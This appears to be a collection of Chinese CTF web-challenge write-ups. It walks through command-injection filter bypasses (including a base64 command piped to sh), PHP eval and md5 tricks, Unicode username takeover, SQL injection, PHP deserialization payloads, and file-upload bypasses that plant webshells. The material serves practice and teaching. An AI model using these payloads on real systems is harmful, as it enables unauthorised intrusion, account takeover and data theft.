目录
原理:利用scandir()列出目录和文件,var_dump()用于输出
原理:利用file_get_contents()读取并输出文件内容
打开界面发现就一个
/?ip=源码一样,然后get传参本地地址 127.0.0.1试一下
那这道题考察:命令执行、管道符的应用

提示过滤掉了空格,用%09绕过一下
提示:/?ip= 1fxck your symbol!应该是过滤掉了%
用一下${IFS} {应该被过滤了,用$IFS$1绕过,看一下源码

发现flag被过滤掉了,? *通配符都没了,那试一下拼接把
本来构造是?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php,可是没绕过去
查看资料后有解释说这串代码意为 匹配一个字符串中,是否按顺序出现过flag四个字母(还是不太理解为什么用字符串拼接的方法会被过滤)
所以把flag逆反一下
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php 变量之间用分号不可用&
?ip=127.0.0.1;a=ag&b=fl;cat$IFS$1$b$a.php 错误
f12查看源码看见

或者
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw是cat flag.php的base64编码

打开界面没感觉有啥,看一下源码

绿色显示,肯定有用
大概意思就是我有一个waf过滤来确保安全,说明有过滤,
cale.php访问一下
- error_reporting(0);
- if(!isset($_GET['num'])){
- show_source(__FILE__);
- }else{
- $str = $_GET['num'];
- $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
- foreach ($blacklist as $blackitem) {
- if (preg_match('/' . $blackitem . '/m', $str)) {
- die("what are you want to do?");
- }
- }
- eval('echo '.$str.';');
- }
- ?>
随便输入一个字母
推测waf应该就是不让输出字母,php有一个特性
? num和?num两个的num变量不一样,但url后都会忽略空格
以及特殊符号 都会变为下划线
waf里的是num而不是 空格num
scandir()函数返回指定目录中的文件和目录的数组。scandir(/)相当于ls /var_dump()相当于echo
例如 file_get_contents(/flag.php),读取/flag.php的代码
?%20num=var_dump(scandir(chr(47))) chr(47) / 因为上面/被过滤掉了用chr代替

?%20num=file_get_contents(chr(47).f1agg) 或者
num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))==>>file_get_contents(/f1agg)相当于? num=system(cat /f1agg)
打开界面,源码显示需要账户是admin,然后看见下面注册试一下


先注册一下
那这道题,思想就是绕过 admin,但最后又可以用admin登录
先随便注册一个账号,然后查看源码,

访问网站下载zip,打开routes.py

发现注册和登录以及修改密码处只是对数据进行了小写化,而且奇怪的是小写化函数用的不是python自带的,而是自己封装的,直觉告诉我这里存在问题。
于是看一下这个函数是如何封装的 如下
- from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
- ## 包引入头
nodeprep.prepare这个方法是将大写字母转换成小写字母,但是它存在一个问题:
它会将unicode编码的ᴬ转化成A
unicode参考表:https://unicode-table.com/en/search/?q=Modifier+Letter+Capital

所以只要我们用 ᴬdmin进行注册,前端虽然是,但是后端就变成了admin所以我们就能绕过去,然后修改密码通过!

打开界面没啥用,看下源码没啥关键的,考察md5,然后再网络包发现一条select语句

md5(string,raw)
string 必需。要计算的字符串。
raw 可选。默认不写为FALSE。32位16进制的字符串
TRUE。16位原始二进制格式的字符串
进行post传参
让我想到了md5中的,
ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’
等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数
输入后,获得源码
get传参,数组绕过,?a[]=3&b[]=4
- error_reporting(0);
- include "flag.php";
-
- highlight_file(__FILE__);
-
- if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
- echo $flag;
- }
param1[]=3¶m2[]=4继续数组绕过,只不过是post传参罢了

-
- $text = $_GET["text"];
- $file = $_GET["file"];
- $password = $_GET["password"];
- if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
- echo "
"
.file_get_contents($text,'r').""; - if(preg_match("/flag/",$file)){
- echo "Not now!";
- exit();
- }else{
- include($file); //useless.php
- $password = unserialize($password);
- echo $password;
- }
- }
- else{
- highlight_file(__FILE__);
- }
- ?>
开始审计代码,get传参,然后text里面肯定是welcome to the zjctf
file里面肯定是useless.php,看见下面有反序列化,所以我觉得这应该是用文件包含然后出源码的擦做,然后password里存的是序列化指向一个获得flag的。
话不多说开整,
file_get_contents($text,'r')==="welcome to the zjctf"
函数作用:吧text文件中的内容,给了r当作字符串处理
所以我们需要自己构建一个文件,然后用伪协议file读取
?text=file://e:\123.txt发现不行,那用一下data
?text=data://text/plain,welcome to the zjctf //不需要加引号

绕过去了第一个。然后伪协议读取useless.php
php://filter/read=convert.base64-encode/resource=useless.php

开心,竟然不是pop链构造那种长度,
-
-
- class Flag{ //flag.php
- public $file;
- public function __tostring(){
- if(isset($this->file)){
- echo file_get_contents($this->file);
- echo "
"; - return ("U R SO CLOSE !///COME ON PLZ");
- }
- }
- }
- ?>
肯定是this->file出东西


提示我获得了flag,找一找

找到了,但是还有一个小疑问,怎么调用的——tostring呢,源码看一下

捂了捂了,原来是源码echo调用,如果没有echo也应该有一个突出的类的或者里面有wakeup或者destrust魔术方法,前往下一探险
- 1、前端绕过,抓包修改后缀名,
-
- 2、文件内容绕过,用图片马,抓包修改后缀绕过
-
- 3、黑名单绕过,那么我们可以改成phtml抓包绕过
-
- 4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”
-
- 5、大小写绕过,抓包后修改后缀为.PHp
-
- 7、空格绕过,抓包修改后缀,在后缀后面加上空格
-
- 8、点绕过,抓包修改后缀,在后缀后面加上点(删掉空格还可以. .或者 . )
-
- 9、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,
-
- 10、双拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php
-
- 11、.user.ini配置文件绕过
大概就是这几种,然后看一下这道题

后缀试了一下,php.php3,php5,phtml过滤的挺多的,然后想想能不能用.htacess

把content-Type改为:image/jpeg试一下

上传成功,.htaccess的作用主要就是把里面2.jpg用php的形式解析
然后就需要上传 2.jpg命名的图片码了,

蚁建链接,获得flag“

首先传一个,.php文件的发现回显illegal suffix!
然后试一下图片码,

发现过滤了

发现不是image类型,应该是有了文件头校验
然后加上GIF89a

上传成功,然后就需要上传一个配置文件,来进行php解析
通过谷歌的插件,发现该站点使用的是nginx
所以使用.htaccess绕过行不通,因为它是Apache的配置文件
这里我们采用.user.ini来绕过--》
先上传,.user.ini,
auto_prepend_file=1.gif
然后上传 1.gif 木马文件

蚁建链接就行, 这里注意一个点
index.php放最后面http://52758cbb-2d8e-4014-ad0e-0c80cb50c926.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php
然后获得flag,
- I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
- if(isset($_GET['gg'])&&isset($_GET['id']))
- { $id=$_GET['id'];
- $gg=$_GET['gg'];
- if (md5($id) === md5($gg) && $id !== $gg)
- { echo 'You got the first step';
- if(isset($_POST['passwd']))
- { $passwd=$_POST['passwd'];
- if (!is_numeric($passwd))
- { if($passwd==1234567)
- { echo 'Good Job!';
- highlight_file('flag.php');
- die('By Retr_0'); }
- else { echo "can you think twice??"; } }
- else{ echo 'You can not get it !'; } }
- else{ die('only one way to get the flag'); } }
- else { echo "You are not a real hacker!"; } }
- else{ die('Please input first'); } }
- Please input first
打开以后源码,自己整理一下,捋一下思路
get 传参 id gg ,数组绕过应该就可以
post 传参 passwd 1234567a弱比较绕过
然后高亮显示,flag.php

说明get传参的部分成功绕了过去,接下来就是post了

这就成功了,提交flag对了,竟然没有坑,开心呀!
-
- include("flag.php");
-
- highlight_file(__FILE__);
-
- class FileHandler {
-
- protected $op;
- protected $filename;
- protected $content;
-
- function __construct() {
- $op = "1";
- $filename = "/tmp/tmpfile";
- $content = "Hello World!";
- $this->process();
- }
-
- public function process() {
- if($this->op == "1") {
- $this->write();
- } else if($this->op == "2") {
- $res = $this->read();
- $this->output($res);
- } else {
- $this->output("Bad Hacker!");
- }
- }
-
- private function write() {
- if(isset($this->filename) && isset($this->content)) {
- if(strlen((string)$this->content) > 100) {
- $this->output("Too long!");
- die();
- }
- $res = file_put_contents($this->filename, $this->content);
- if($res) $this->output("Successful!");
- else $this->output("Failed!");
- } else {
- $this->output("Failed!");
- }
- }
-
- private function read() {
- $res = "";
- if(isset($this->filename)) {
- $res = file_get_contents($this->filename);
- }
- return $res;
- }
-
- private function output($s) {
- echo "[Result]:
"; - echo $s;
- }
-
- function __destruct() {
- if($this->op === "2")
- $this->op = "1";
- $this->content = "";
- $this->process();
- }
-
- }
-
- function is_valid($s) {
- for($i = 0; $i < strlen($s); $i++)
- if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
- return false;
- return true;
- }
-
- if(isset($_GET{'str'})) {
-
- $str = (string)$_GET['str'];
- if(is_valid($str)) {
- $obj = unserialize($str);
- }
-
- }
乍一看,就construct 和 destruct 两个魔术方法
is_valid想要实现的是,ascll在 32-125之间
可是这里的属性都是protected构成的,需要加 \00*\00保护起来,所以我们就需要绕过
举例:本来sex结果上面出现的是*sex,但是*sex的长度是4,
但是上面显示的是6,
发现protect属性序列化的时候格式是%00*%00sex(成员名)
比如 testage长度是7,
但是上面显示的是9,
private属性序列化格式 %00类名%00成员名
%00占一个字节长度,所以age加了类名后变成了%00test%00age长度为9
绕过方法:在php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化没有不可见字符
7.1以下:private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}应该是read()函数这是链尾执行实现flag的方法
所以我们的目标改为是谁调用了read
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") { 只需要让op=2就可以调用read
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
然后我们的目标就是如何让op=2,注意两个等号这是弱比较,接下来会用到
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
} 这是三个等号,强比较,会核对值是否相当,以及类型是否一样,我们可以让2为数值型就都可以实现
正好,这是开头,构造结束。
- class FileHandler {
-
- public $op=2;
- public $filename="flag.php"; 题目给的flag位置
- public $content=df; } 随便写的
- $a=new FileHandler();
- echo serialize($a);
-
因为这种方式都被注释掉了,所以需要在源码中寻找flag,
或者改为filter伪协议读取,会显示base64编码

先找注入点,只有单引号回显

确定是单引号,试一下万能密码
发现源码有一串字母,没看出来是什么编码,暂时略过
do not hack me! ' or true# 回显别欺骗我 应该是里面有字符被过滤了,419都是被过滤的or被过滤,试了一下大写可以成功绕过,union 没有被过滤试一下联合注入

没思路,突破点肯定是那一串乱码
试一下base64没出来,base32试一下
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
这一看就需要base64出来了,是一条select语句
select * from user where username = '$name'
联合注入:先看一下有几列,最后测试出来


如上测到第四个字段报错,证明只有3个字段数,但没有回显字段名,来到本题考点:猜测三个字段是啥,一般是id、username、password,尝试;

用户名admin尝试成功,
来到本题考点的另一个:mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;这道题显示不是明文,那就是md5加密了,把密码加密
202CB962AC59075B964B07152D234B70 md5 32位编码
' union select 1,'admin','202CB962AC59075B964B07152D234B70'#
试了很多,发现都不对,然后把大写字母换成小写就出来了答案

- if(preg_match("/\(|\)|\=|or/", $name)){
- die("do not hack me!");
- }
- else{
- if (!$result) {
- printf("Error: %s\n", mysqli_error($con));
- exit();
- }
- else{
- // echo '
';
- $arr = mysqli_fetch_row($result);
- // print_r($arr);
- if($arr[1] == "admin"){
- if(md5($password) == $arr[2]){
- echo $flag;
- }
- else{
- die("wrong pass!");
- }
- }
- else{
- die("wrong user!");
- }
- }
- }
看源码就知道了原因,md5加密需要